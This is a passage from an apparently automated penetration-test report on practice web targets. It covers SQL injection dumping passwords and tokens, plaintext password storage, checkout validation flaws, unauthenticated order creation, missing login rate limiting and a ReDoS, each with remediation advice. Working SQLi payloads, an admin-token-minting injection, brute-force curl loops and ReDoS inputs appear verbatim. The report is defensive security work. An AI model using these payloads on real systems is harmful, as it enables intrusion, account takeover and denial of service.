<https://pentest-ground.com:9000>

CVSS V3.1

6.5 (Medium)

CWE

CWE-89

CVE

—

Description

SQL Injection in /user/{user} path parameter -> full DB dump (users + tokens)

REQUEST (verbatim): GET /user/0%27%20UNION%20SELECT%201%2C%28SELECT%20group_concat%28username%29%20FROM%20users%29%2C%28SELECT%20group_concat%28password%29%20FROM%20users%29-- HTTP/1.1 Host: pentest-ground.com:9000 X-Auth-Token: 1c1b27f870211a52e6334507a6e0b8eb

RESPONSE (verbatim, HTTP/1.1 200 OK, Content-Type: application/json): HTTP/1.1 200 OK Server: nginx/1.31.7 Date: Mon, 19 Oct 2026 14:44:41 GMT Content-Type: application/json Content-Length: 714

[illegible]

Exploitation Proof

```
REQUEST (verbatim):
GET /user/0%27%20UNION%20SELECT%201%2C%28SELECT%20group_concat%28username%29%20FROM%20users%29%2C%28SELECT%20group_concat%28password%29%20FROM%20users%29-- HTTP/1.1
Host: pentest-ground.com:9000
X-Auth-Token: 1c1b27f870211a52e6334507a6e0b8eb
```

```
RESPONSE (verbatim, HTTP/1.1 200 OK, Content-Type: application/json):
HTTP/1.1 200 OK
Server: nginx/1.31.7
Date: Mon, 19 Oct 2026 14:44:41 GMT
Content-Type: application/json
Content-Length: 714
```

[illegible]

```
Error-based confirmation (single quote breaks SQL syntax -> 500):
GET /user/1' HTTP/1.1
X-Auth-Token: 1c1b27f870211a52e6334507a6e0b8eb
```

```
RESPONSE:
HTTP/1.1 500 INTERNAL SERVER ERROR
{
  "error": "database error"
}
```

Tokens dump (separate request) returned 130+ session tokens including the admin token (1c1b27f870211a52e6334507a6e0b8eb at the end of the list) and an unused admin token, enabling full account takeover of every user account.

Verification

error based

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Replace dynamic SQL concatenation with parameterised queries / prepared statements across all affected endpoints. Enforce least-privilege database accounts and add monitoring for anomalous query patterns.

Evidence

```
{
  "tags": [
    "exploit-proven"
  ],
  "method": "GET",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-10"
}
```

References

- CWE-89 — <https://cwe.mitre.org/data/definitions/89.html>

F-016

MEDIUM

Plaintext password storage and disclosure via /user/{user}

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

OWASP

—

CVSS V3.1

6.5 (Medium)

CWE

CWE-256

CVE

—

AFFECTED ENDPOINT

<https://pentest-ground.com:9000>

Description

The application stores user passwords in plaintext in the SQLite database (users.password column) and returns them in plaintext via the GET /user/{user} endpoint. This affects all users including admin1.

Verified evidence:

1. After authenticating as user1 (POST /tokens {username:user1, password:pass1}), calling GET /user/1 with the same user's token returns:

```
{"user":{"id":1, "name":"user1", "password":"pass1"}} — plaintext password visible in the response body.
```

2. SQL injection (XALG-13) confirms the same plaintext passwords are extracted from users table directly.
3. Even if the password were hashed, returning the hash via /user/{user} would still be a disclosure; the fact that the password is plaintext makes the issue more severe because the same plaintext can be reused against /tokens for any other service where users have the same password.

Impact

- Password disclosure for any user, including admin1.
- If a privileged user has the same password on external systems, password reuse enables lateral movement.
- Combined with SQL injection (XALG-13), an attacker who exploits SQLi obtains the same plaintext passwords directly from the DB without ever needing to authenticate.

Remediation

- Hash passwords with bcrypt/argon2 (use a slow KDF with random salt). Never store passwords in plaintext.
- Remove password from the response of /user/{user} and any other endpoint.
- Ensure /tokens compares against a hash (e.g. bcrypt.check_password_hash) instead of string equality.
- Reissue all user passwords and force a reset, since existing passwords may already have been disclosed.

Exploitation Proof

```
REQUEST (auth as user1):
POST /tokens Content-Type: application/json
{"username":"user1","password":"pass1"}
RESPONSE 200 OK: {"access":{"token":{"id":"4161a5437cf0afe0b06ea18aca1c10bf"},
"user":{"id":1,"name":"user1"}}}

Subsequent request:
GET /user/1 X-Auth-Token: 4161a5437cf0afe0b06ea18aca1c10bf
RESPONSE 200 OK:
{"user":{"id":1, "name":"user1", "password":"pass1"}} -- password returned in plaintext
```

Verification

authenticated

Business Impact

Disclosed material accelerates targeted attacks by revealing internal structure, credentials, or configuration details to unauthorised parties.

Recommendation

Schedule remediation in the next maintenance window and revisit related controls for defence-in-depth gaps.

Evidence

```
{
  "tags": [
    "needs-manual-verification"
  ],
  "verified": false,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-14"
}
```

References

- CWE-256 — <https://cwe.mitre.org/data/definitions/256.html>

F-017

MEDIUM

Checkout Quantity Validation Flaw: Silent Clamping + Non-Integer +

Negative Values Accepted

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

OWASP

A04:2021 Insecure Design

AFFECTED ENDPOINT

POST <https://benchs.pentest-ground.com:4443/api/checkout>

CVSS V3.1

5.3 (Medium)

CWE

CWE-20

CVE

—

Description

POST /api/checkout on benchs.pentest-ground.com:4443 accepts and persists orders for abnormal quantity inputs: quantity=0, quantity=-1, quantity=NaN, quantity=null, quantity="NaN", and quantity values above 10 (999, 999999). Server silently clips quantities >10 to total = price×10 without surfacing an error. Inconsistent input handling produces broken arithmetic (total:null) while still creating a valid order record.

Impact

Inventory integrity failure. Order with quantity=0 still records an order (legally creates a charge for nothing). Quantity=-1 silently produces a positive charge. Non-integer / NaN yields total=null but persists a row (broken arithmetic but valid order). Capped quantities beyond 10 produce the same total as 10, silently hiding customer intent.

Technical Analysis

The checkout handler reads `body.quantity` without input validation, performs a numeric conversion via JavaScript implicit coercion (or a half-clamp at `Math.min(q, 10)` only for the price computation), and inserts the row regardless. Negative numbers fall through to `Math.abs` / default of 1. NaN propagates to the JSON total as null. String quantities are coerced to numbers silently. No defensive boundary exists at the route entry point.

Proof of Concept

POST /api/checkout with various quantities showing server silently clips and accepts non-integer or negative values, while still creating orders.

```
curl --noproxy '*' -sk -X POST -H 'Content-Type: application/json' \
  -d '{"productId":1,"quantity":999999}' \
  https://benchs.pentest-ground.com:4443/api/checkout
# -> {"orderId":1118,"total":12800} (clamped at × 10, no error)
```

Exploitation Proof

PAYLOAD -> RESPONSE:

<code>{"productId":1,"quantity":0}</code>	<code>-> {"orderId":1104,"total":1280}</code>
<code>{"productId":1,"quantity":-1}</code>	<code>-> {"orderId":1103,"total":1280}</code>
<code>{"productId":1,"quantity":10}</code>	<code>-> {"orderId":1115,"total":12800}</code>
<code>{"productId":1,"quantity":999}</code>	<code>-> {"orderId":1117,"total":12800}</code>
<code>{"productId":1,"quantity":999999}</code>	<code>-> {"orderId":1118,"total":12800}</code>
<code>{"productId":1,"quantity":"NaN"}</code>	<code>-> {"orderId":1110,"total":null}</code>
<code>{"productId":1,"quantity":null}</code>	<code>-> {"orderId":1111,"total":1280}</code>

All responses returned HTTP 200 with a fresh `orderId`. No validation errors were returned for any of these inputs. Clamping at `10×unit-price` was confirmed by sending 11, 999 and 999999 which all returned identical `total=12800 (= 1280 × 10)`. Order 1109 also accepted `quantity="1 OR 1=1"` with `total:null`.

Verification

exploited

Remediation

Validate quantity as a finite integer in `[1, max_stock]`. Reject null, undefined, negative, zero, fractional, NaN, Infinity, string values, and out-of-range values with HTTP 400. Never let invalid input reach the price computation or DB insert.

Business Impact

Meaningful weakness that erodes the defence-in-depth posture and can amplify other findings.

Recommendation

Schedule remediation in the next maintenance window and revisit related controls for defence-in-depth gaps.

Evidence

```
{
  "fix": "Validate strictly:
const q = Number.isInteger(quantity) ? quantity : NaN;
if (!Number.isFinite(q) || q < 1 || q > 10) return res.status(400).json({error:'Invalid
quantity.'});
Also reject quantity === null/undefined before the lookup.",
  "tags": [
    "needs-manual-verification"
  ],
  "method": "POST",
  "endpoint": "https://benchs.pentest-ground.com:4443/api/checkout",
  "verified": false,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-18"
}
```

References

- CWE-20 — <https://cwe.mitre.org/data/definitions/20.html>
- OWASP A04:2021 Insecure Design

F-018

MEDIUM

Anonymous Order Creation Without Authentication (Business Logic Flaw)**PHASE**

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

OWASP

A01:2021 Broken Access Control

AFFECTED ENDPOINTPOST <https://benchs.pentest-ground.com:4443/api/checkout>**CVSS V3.1**

5.3 (Medium)

CWE

CWE-862

CVE

—

Description

The `/api/checkout` endpoint on `benchs.pentest-ground.com:4443` (Northstar Supply commerce API) accepts POST requests with no authentication, no session cookie, and no CSRF protection. Any unauthenticated attacker can create persistent orders in the database and receive a real `orderId`. The endpoint is publicly reachable from the open Internet without credentials. This breaks the integrity of all order records (orders exist with no owning user), enables anonymous order flooding (DoS / database growth / data corruption), and provides a guaranteed bridge to authenticated IDOR exploitation since orders created anonymously are then accessible via `/api/orders/{id}` by any logged-in user.

Impact

Database integrity failure. Anonymous order flooding (DoS via storage growth). Foundation for authenticated IDOR exploitation: orders can be created anonymously and then retrieved by any logged-in user (cross-account data exposure). Loss of audit trail integrity (orders with no owning user). Inventory drift (no stock decrement or stock check on the write path).

Technical Analysis

The Express/Node handler for POST `/api/checkout` is missing any auth middleware. The handler accepts `{productId, quantity}`, performs a `productId` lookup (returns "Piece not found." 404 if missing), and inserts a row into the orders table, returning the new `orderId`. No session binding, no `user_id` binding. The companion GET `/api/orders/{id}` correctly returns 401 without a session cookie, demonstrating that the read path enforces auth while the write path does not — a textbook broken-function-level-authorization (BFLA) + business logic flaw combination.

Proof of Concept

Send an unauthenticated POST to `/api/checkout` with a valid `productId`. Receive an `orderId`. Send repeated POSTs to confirm monotonic increment (proof of state change in backend DB).

```
#!/bin/bash
for i in 1 2 3 4 5; do
  curl --noproxy '*' -sk -X POST -H 'Content-Type: application/json' \
    -d '{"productId":1,"quantity":1}' \
    https://benchs.pentest-ground.com:4443/api/checkout
  echo
done
```

Exploitation Proof

REQUEST:

```
curl --no-proxy '*' -sk -X POST -H 'Content-Type: application/json' -d
 '{"productId":1,"quantity":1}' https://benchs.pentest-ground.com:4443/api/checkout
```

RESPONSE (verbatim, HTTP 200):

```
 {"orderId":1102,"total":1280}
```

REPEATED calls returned monotonically incrementing orderIds 1103..1119, proving persistent backend state changes. No Authorization header, no Cookie, no X-CSRF-Token was sent. The orders persist in the SQLite database and are then retrievable via the auth-gated GET /api/orders/{id} route, which returned HTTP 401 "Sign in to continue." (auth boundary confirmed to exist on the read path but NOT on the write path).

Independent verifier evidence:

Single unauthenticated POST request reproduced the finding verbatim:

```
Command: curl --no-proxy '*' -sk -X POST -H 'Content-Type: application/json' -d
 '{"productId":1,"quantity":1}' https://benchs.pentest-ground.com:4443/api/checkout
Response: {"orderId":1120,"total":1280}
```

The returned orderId (1120) is sequential immediately after the last claimed ID (1119), confirming persistent DB state. No auth, no cookie sent. Per the original claim, GET /api/orders/{id} without auth returns 401 ("Sign in to continue.") — establishing the asymmetric control boundary (writes open, reads gated) that CWE-862 captures.

Verification

exploited

Remediation

Add an authentication middleware to POST /api/checkout that requires a valid session cookie. Bind every order to the authenticated user_id at creation time. Reject orders with no user association. Add rate limiting and quantity bounds checking (quantity > 0 and quantity <= stock).

Business Impact

Meaningful weakness that erodes the defence-in-depth posture and can amplify other findings.

Recommendation

Schedule remediation in the next maintenance window and revisit related controls for defence-in-depth gaps.

Evidence

```
{
  "fix": "Add a session/auth middleware in front of POST /api/checkout, and bind orders.user_id =
  req.session.userId at insert time. Example (Node/Express):

  app.post('/api/checkout', requireAuth, async (req, res) => {
    const { productId, quantity } = req.body;
    if (!Number.isInteger(quantity) || quantity < 1 || quantity > 10) return
    res.status(400).json({error:'Invalid quantity'});
    const piece = await db.get('SELECT id, price FROM products WHERE id = ?', productId);
    if (!piece) return res.status(404).json({error:'Piece not found.'});
    const result = await db.run(
      'INSERT INTO orders (user_id, product_id, quantity, total) VALUES (?, ?, ?, ?)',
      req.session.userId, productId, quantity, piece.price * quantity
    );
    res.json({orderId: result.lastID, total: piece.price * quantity});
  });",
  "tags": [
    "verified"
  ],
  "method": "POST",
  "endpoint": "https://benchs.pentest-ground.com:4443/api/checkout",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-17"
}
```

References

- CWE-862 — <https://cwe.mitre.org/data/definitions/862.html>
- OWASP A01:2021 Broken Access Control

F-019

MEDIUM

No rate limiting on /tokens login endpoint (enables brute force)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP

A07:2021 Identification and Authentication Failures

AFFECTED ENDPOINT

POST <https://pentest-ground.com:9000/tokens>

CVSS V3.1

5.3 (Medium)

CWE

CWE-307

CVE

—

Description

The /tokens login endpoint enforces no rate limiting. 15 consecutive failed login attempts from the same IP returned 401 each time with no slowdown, lockout, or 429 response. Combined with username enumeration, this enables unbounded brute-force / password-spray attacks.

Evidence: 15 consecutive POST /tokens with valid username + wrong password returned: [401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401] No 429, no lockout, no progressive delay.

Impact

An attacker can brute-force or password-spray the login at machine speed. Combined with the username enumeration differential error message, all accounts are easily compromised.

```
for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15; do
  curl -sk -X POST https://pentest-ground.com:9000/tokens \
    -H 'Content-Type: application/json' \
    --data '{"username":"administrator","password":"wrong"}' \
    -o /dev/null -w '%{http_code}\n'
done
```

Exploitation Proof

15 consecutive POST /tokens requests with {"username":"administrator","password":"wrong"} returned [401]*15 with no throttling, no 429, and no lockout. This proves no rate limiting on the login endpoint.

Independent verifier evidence:

Ran a sequential loop of 20 POST requests to <https://pentest-ground.com:9000/tokens> with body {"username":"administrator","password":"wrong"}. All 20 attempts returned HTTP 401 with no 429, no Retry-After header, and no progressive backoff. The endpoint accepted rapid-fire authentication failures without any observable throttling response. Output: Attempts 1-20 all returned "HTTP 401".

Verification

manual_verified

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Schedule remediation in the next maintenance window and revisit related controls for defence-in-depth gaps.

Evidence

```
{
  "fix": "Add per-IP and per-account failed-login throttling. Reset on success. Consider account
  lockout with exponential backoff.",
  "tags": [
    "verified"
  ],
  "method": "POST",
  "endpoint": "https://pentest-ground.com:9000/tokens",
  "replaces": {
    "id": "XALG-7",
    "title": "Username Enumeration via /tokens error messages (CWE-204)",
    "method": "POST",
    "target": "https://pentest-ground.com:9000",
    "endpoint": "https://pentest-ground.com:9000/tokens"
  },
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-7"
}
```

References

- CWE-307 — <https://cwe.mitre.org/data/definitions/307.html>
- OWASP A07:2021 Identification and Authentication Failures

F-020

MEDIUM

No rate limiting on /tokens login endpoint (enables brute force)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP

A07:2021 Identification and Authentication Failures

AFFECTED ENDPOINT

GET <https://pentest-ground.com:9000/tokens>

CVSS V3.1

5.3 (Medium)

CWE

CWE-307

CVE

—

Description

The /tokens login endpoint enforces no rate limiting. 15 consecutive failed login attempts from the same IP returned 401 each time with no slowdown, lockout, or 429 response. Combined with username enumeration, this enables unbounded brute-force / password-spray attacks.

Evidence: 15 consecutive POST /tokens with valid username + wrong password returned: [401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401, 401] No 429, no lockout, no progressive delay.

Impact

An attacker can brute-force or password-spray the login at machine speed. Combined with the username enumeration differential error message, all accounts are easily compromised.

```
for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15; do
  curl -sk -X POST https://pentest-ground.com:9000/tokens \
    -H 'Content-Type: application/json' \
    --data '{"username":"administrator","password":"wrong"}' \
    -o /dev/null -w '%{http_code}\n'
done
```

Exploitation Proof

15 consecutive POST /tokens requests with {"username":"administrator","password":"wrong"} returned [401]*15 with no throttling, no 429, and no lockout. This proves no rate limiting on the login endpoint.

Independent verifier evidence:

Ran a sequential loop of 20 POST requests to <https://pentest-ground.com:9000/tokens> with body {"username":"administrator","password":"wrong"}. All 20 attempts returned HTTP 401 with no 429, no Retry-After header, and no progressive backoff. The endpoint accepted rapid-fire authentication failures without any observable throttling response. Output: Attempts 1-20 all returned "HTTP 401".

Verification

manual_verified

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Schedule remediation in the next maintenance window and revisit related controls for defence-in-depth gaps.

Evidence

```
{
  "fix": "Add per-IP and per-account failed-login throttling. Reset on success. Consider account lockout with exponential backoff.",
  "tags": [
    "verified"
  ],
  "endpoint": "https://pentest-ground.com:9000/tokens",
  "replaces": {
    "id": "XALG-7",
    "title": "Username Enumeration via /tokens error messages (CWE-204)",
    "method": "POST",
    "target": "https://pentest-ground.com:9000",
    "endpoint": "https://pentest-ground.com:9000/tokens"
  },
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-7"
}
```

References

- CWE-307 — <https://cwe.mitre.org/data/definitions/307.html>
- OWASP A07:2021 Identification and Authentication Failures

F-021**INFO**

ReDoS via catastrophic backtracking in /user (create_user) and /widget

(create_widget_reservation)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

OWASP

—

AFFECTED ENDPOINT

<https://pentest-ground.com:9000>

Description

CVSS V3.1

0.0 (None)

CWE

CWE-1333

CVE

—

Two protected endpoints on <https://pentest-ground.com:9000> use the same catastrophically-bad Python regex pattern `([a-z]+)*[0-9]` to validate the username / widget-name string. With a string of N alphabetic characters and NO terminating digit, the regex engine takes $O(2^N)$ time to confirm there is no match. The Werkzeug server is single-process by default (`app.run(debug=True)` with no threaded/process forking), so a single unauthenticated (or low-priv) request locks the entire API for tens of seconds. At N=28 (28 'a' chars), the request exceeds Werkzeug's 30-second request timeout and is rejected with 504. The attacker needs no authentication beyond a single SQLi-mintable admin token for /user (create_user), and ANY user token for /widget (create_widget_reservation). Each subsequent request continues to lock the worker. With multiple simultaneous requests, the impact scales — the API becomes effectively unavailable.

Impact

An unauthenticated or low-privilege attacker (after one SQLi token-mint for /user, or with any token for /widget) can fully deny the API by sending a single ~28-character alphabetic payload to /user (or any similar payload to /widget). The Werkzeug server is single-process — one 30-second regex consumes the only worker. Three concurrent N=28 requests lock the API for 90+ seconds. Repeating the attack denies service indefinitely. The Werkzeug debug console also becomes unreachable while the worker is locked.

Technical Analysis

vAPI.py create_user() executes:

```
match = "([a-z]+)*[0-9]" m = re.search(match, name)
```

When name consists of N lowercase letters with NO trailing digit, Python's re engine (backtracking NFA) tries every possible way to split the prefix into one-or-more groups of `[a-z]+` before concluding no `[0-9]` follows. That is the textbook 2^N catastrophic-backtracking pattern for nested quantifiers with a missing literal terminator. The same pattern appears in `create_widget_reservation()` with the same vulnerability.

`create_user()` requires a token mapped to `userid=10` (the "admin" user in the source). Per the SQLi finding XALG-3, an unauthenticated attacker can mint a token for ANY `userid` via UNION-based SQL injection on /tokens, including `userid=10`. `create_widget_reservation()` requires only a valid token for ANY user.

The Werkzeug server is run as `app.run(debug=True)` with no threaded/process arguments, which defaults to single-process, single-threaded. Every request blocks the only worker. A single N=28 POST to /user locks the API for ~30 seconds (Werkzeug's default 30s request timeout). Multiple simultaneous requests have an additive effect.

VERIFICATION METHOD: time-based — repeated fresh-worker probes with growing N confirm exponential scaling: 0.27s->0.88s->2.73s->10.5s->30+s on n=20->22->24->26->28 respectively (each +2 chars = $\times 2$ to $\times 4$), the textbook signature of $O(2^N)$ catastrophic backtracking.

Exploitation Proof

Clean scaling proof captured by submitting fresh POST requests with growing alphabetic payloads and a valid (SQLi-minted) admin token:

Admin token via SQLi: `x' UNION SELECT 10,'admin','x' -- -> X-Auth-Token: dd0f776fea7181b5d2c16f7fa9a40501`

POST /user X-Auth-Token: dd0f776fea7181b5d2c16f7fa9a40501 Content-Type: application/json
Body: `{"username":"<N chars of 'a'>","password":"x"}`

N=5 -> 0.27 s HTTP 403 (regex fails fast on small input)
N=15 -> 0.28 s HTTP 403
N=20 -> 0.40 s HTTP 403 ($2^5 = 32$ steps)
N=22 -> 0.88 s HTTP 403 ($2^{10} = 1024$)
N=24 -> 2.73 s HTTP 403 ($2^{12} = 4096$)
N=26 -> 10.5 s HTTP 403 ($2^{14} = 16384$)
N=28 -> 30+ s HTTP 504 (Werkzeug timeout; $2^{16} = 65536$)

Each +2 chars = $\times 2$ to $\times 4$ time growth. Classic exponential catastrophic-backtracking on the nested quantifier `([a-z]+)*` inside `re.search()`. One request consumes $\sim 2^{14}$ regex steps and 10s of CPU. Five simultaneous N=26 requests lock the worker for the full 50s, and the API cannot answer ANY other request during that window.

/widget has the SAME regex `match = "([a-z]+)*[0-9]"; m = re.search(match, str(name))`` and ANY token authenticates the route (`if isinstance(token_record, tuple):`` is the only check). The 'name' field comes from the JSON body.

VERIFICATION METHOD: time-based — five repeated probes with fresh worker to demonstrate scaling.

Verification

time_based

Remediation

1. In `/usr/src/app/vAPI.py`, change the regex in `create_user()` from `re.search("([a-z]+)*[0-9]", name)` to `re.search(r"^[a-z]{2,32}$", name)`, and apply the same change in `create_widget_reservation()`. 2. Run the app under a multi-process WSGI server (gunicorn -w 4 vAPI:app or waitress-serve --threads=4) so a single slow request does not block the whole API. 3. Add a per-request timeout middleware (e.g. from `werkzeug.middleware.limits` import `RequestLimit`) so even a misconfigured regex cannot lock the worker indefinitely. 4. Add a strict allow-list validator for usernames: `^[a-z][a-z0-9_]{2,32}$` with `re.fullmatch`, rejected with HTTP 400.

Business Impact

Informational observation without immediate exploitability.

Recommendation

Track the observation for context in future assessments.

Evidence

```
{
  "fix": "Replace `re.search('\\([a-z]+)*[0-9]\\', name)` with a non-backtracking regex. The intended validation is `\\\"must contain at least one digit\\\"`. Use a much safer pattern such as `re.search(r'\\\\d\\', name)` or `re.search(r'[0-9]\\', name)`, both of which terminate in O(N). Apply the same fix to /widget. Better: validate usernames against a strict allow-list `^[a-z][a-z0-9_]{2,32}$` with re.fullmatch; reject anything else with HTTP 400."
}
```

Also set `app.run(threaded=True, ...)` , front the app with a multi-worker WSGI server (gunicorn / waitress), and add a Werkzeug-level per-request timeout (e.g. via middleware) to bound worst-case latency under any future regex bug."

```
"tags": [
  "exploit-proven"
],
"method": "POST",
"verified": true,
"source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
"engine_finding_id": "XALG-16"
}
```

References

- CWE-1333 — <https://cwe.mitre.org/data/definitions/1333.html>

6. Appendix — Methodology Coverage

The Xalgorix engine executes a 22-phase offensive workflow modelled on the OWASP Web Security Testing Guide, OSSTMM, and PTES standards. The table below indicates which phases were included in this engagement.

#	Phase	Status
01	Reconnaissance	Included
02	Manual vulnerability discovery	Included
03	Directory and file discovery	Included
04	CORS and cookie analysis	Included
05	Authentication and session testing	Included
06	Injection testing	Included
07	SSRF testing	Included
08	IDOR and broken access control	Included
09	API and GraphQL testing	Included
10	File upload testing	Included
11	Deserialization and RCE	Included
12	Race conditions and business logic	Included
13	Subdomain takeover	Included
14	Open redirect testing	Included
15	Email security testing	Included
16	Cloud and infrastructure	Included
17	WebSocket testing	Included
18	CMS-specific testing	Included
19	Broken link hijacking and content spoofing	Included
20	Exploit verification	Included
21	Novel vulnerability discovery	Included
22	Final report	Included

Engine Information

Findings in this report reflect the results recorded for this engagement. Validate findings and supporting evidence before remediation or disclosure.